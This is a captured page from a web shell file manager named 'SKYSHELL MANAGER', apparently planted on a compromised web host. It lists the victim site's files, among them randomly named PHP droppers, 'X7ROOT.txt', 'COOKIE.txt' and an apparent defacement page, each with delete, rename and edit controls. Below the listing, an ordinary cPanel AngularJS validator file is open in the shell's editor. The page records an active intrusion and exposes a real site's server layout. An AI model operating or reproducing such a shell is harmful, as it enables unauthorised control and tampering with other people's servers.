ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: validateDirectiveFactory.js

/*
# cjt/directives/validateDirectiveFactory.js         Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
*/

define(
    [
        "lodash",
        "angular",
        "cjt/validator/validator-utils"
    ],
    function(_, angular, UTILS) {
        "use strict";

var module = angular.module("cjt2.validate", []);

module.config(["$compileProvider", function($compileProvider) {

// Capture the compileProvider so we can use it in the future
            // to add directives dynamically to the validate module
            module.compileProvider = $compileProvider;
        }]);

/**
         * Run the validation function and update the model and form state
         * if there are issues.
         *
         * @private
         * @method run
         * @param  {String} name          Name of the validator
         * @param  {ModelController} ctrl Model controller where we participate in normal validation status stuff
         * @param  {FormController} form  Form controller where extended error details are registered per validator.
         * @param  {Function} validateFn  Function to valid the value. Only called if value is not empty.
         * @param  {Any} value            Value to validate.
         * @param  {Any} [argument]       Optional argument to the validation function.
         * @param  {Scope} [scope]        The directive scope. Helpful if you want to $eval the argument.
         * @return {Boolean}              true if the value is valid, false otherwise.
         */
        var run = function(name, ctrl, form, validateFn, value, argument, scope) {

if (ctrl.$isEmpty(value)) {
                return true;
            }

var result = validateFn(value, argument, scope);

UTILS.updateExtendedReporting(result.isValid, ctrl, form, name, result);

return result.isValid;
        };

/**
         * Run the validation function async and update the model and form state
         * if there are issues.
         *
         * @private
         * @method runAsync
         * @param  {PromiseProvider}      $q from angular since we don't have an injector here, the
         *                                caller needs to do the injection.  Note: the createDirective()
         *                                style of invocation takes care of this for you. If calling the manually,
         *                                you need to inject $q into your directive/controller and pass it.
         * @param  {String} name          Name of the validator
         * @param  {ModelController} ctrl Model controller where we participate in normal validation status stuff
         * @param  {FormController} form  Form controller where extended error details are registered per validator.
         * @param  {Function} validateFn  Function to valid the value. Only called if value is not empty.
         * @param  {Any} value            Value to validate.
         * @param  {Any} [argument]       Optional argument to the validation function.
         * @param  {Scope} [scope]        The directive scope. Helpful if you want to $eval the argument.
         * @return {Promise}
         */
        var runAsync = function($q, name, ctrl, form, validateAsyncFn, value, argument, scope) {
            var defer = $q.defer();
            if (!ctrl.$isEmpty(value)) {
                validateAsyncFn(value, argument, scope).then(
                    function(result) {
                        UTILS.updateExtendedReporting(result.isValid, ctrl, form, name, result);
                        ctrl.$setValidity(name, result.isValid);
                        if (result.isValid) {
                            defer.resolve();
                        } else {
                            defer.reject();
                        }
                    },
                    function(error) {
                        defer.reject(error);
                    });
            }

return defer.promise;
        };

/**
         * Generate a directive dynamically for the specified
         * validator configuration and name.
         *
         * @private
         * @method createDirective
         * @param  {String} validationKey    [description]
         * @param  {Object} validationObject [description]
         */
        var createDirective = function(validationKey, validationObject, $q) {
            module.compileProvider.directive(validationKey, function() {
                var directiveName = validationKey;

return {
                    require: "ngModel",
                    link: function(scope, elem, attr, ctrl) {
                        var form = elem.controller("form");
                        UTILS.initializeExtendedReporting(ctrl, form);

ctrl.$validators[directiveName] = function(value) {
                            var argument = attr[directiveName];
                            var fn = validationObject[directiveName];
                            var isAsync = fn.async;
                            if (!isAsync) {
                                return run(directiveName, ctrl, form, fn, value, argument, scope);
                            } else {
                                return runAsync($q, directiveName, ctrl, form, fn, value, argument, scope);
                            }
                        };

scope.$watch(
                            function()       {
                                return attr[directiveName];
                            },
                            function(newVal) {
                                ctrl.$validate();
                            }
                        );
                    }
                };
            });
        };

/**
         * Creates directives based on the configuration object passed.
         *
         * @method generate
         * @param  {Object} validationObject Collection of key/function pairs for each directive to generate where:
         *    @param {String}   Name of the validator directive.
         *    @param {Function} Implementation of the validator directive validation method with the signature:
         *        fn(value, args...) where the arguments list is as follows:
         *        @param {String} value Value to validate.
         *        @param {Any}    [arg] Optional argument with a context to the specific validator.
         *    @param {Object} [$q] Optional. Only required if creating an asynchronous validator.
         *
         * @example Creating a synchronous validator
         *
         *    var validators = {
         *        isStuff: function(value) {
         *            var result = validationUtils.initializeValidationResult();
         *            if (!/stuff/.test(value)) {
         *                 result.isValid = false;
         *                 result.add("stuff", "Not stuff");
         *             }
         *             return result;
         *        }
         *    };
         *
         *    var validatorModule = angular.module("validate");
         *    validatorModule.run(["validatorFactory",
         *       function(validatorFactory) {
         *            validatorFactory.generate(validators);
         *       }
         *    ]);
         *
         * @example Creating an async validator
         *
         *    var validatorModule = angular.module("validate");
         *    validatorModule.run(["validatorFactory", "$q"
         *       function(validatorFactory, $q) {
         *            var validators = {
         *               isAsyncStuff: function(value) {
         *                   var result = validationUtils.initializeValidationResult();
         *                   var defer = $q.defer();
         *                   var timeout = $timeout(function() {
         *                       result.isValid = false;
         *                       result.add("stuff", "Not stuff");
         *                       defer.resolve(result);
         *                   });
         *                   return defer.promise;
         *               }
         *            };
         *            validators.isAsyncStuff.async = true;
         *
         *            validatorFactory.generate(validators, $q);
         *       }
         *    ]);

*/
        var generate = function(validationObject, $q) {
            var keys = _.keys(validationObject);

for (var i = 0, len = keys.length; i < len; i++) {
                var name = keys[i];
                createDirective(name, validationObject, $q);
            }
        };

/**
         * Construct the factory method
         *
         * @private
         * @method validate
         * @return {Object}
         *         {Function} generate Factory method to generate validation directives from configuration.
         */
        var validate = function() {
            return {
                generate: generate,
            };
        };

module.factory("validatorFactory", validate);

return {
            run: run,
            runAsync: runAsync,
        };
    }
);

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: validateDirectiveFactory.js

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30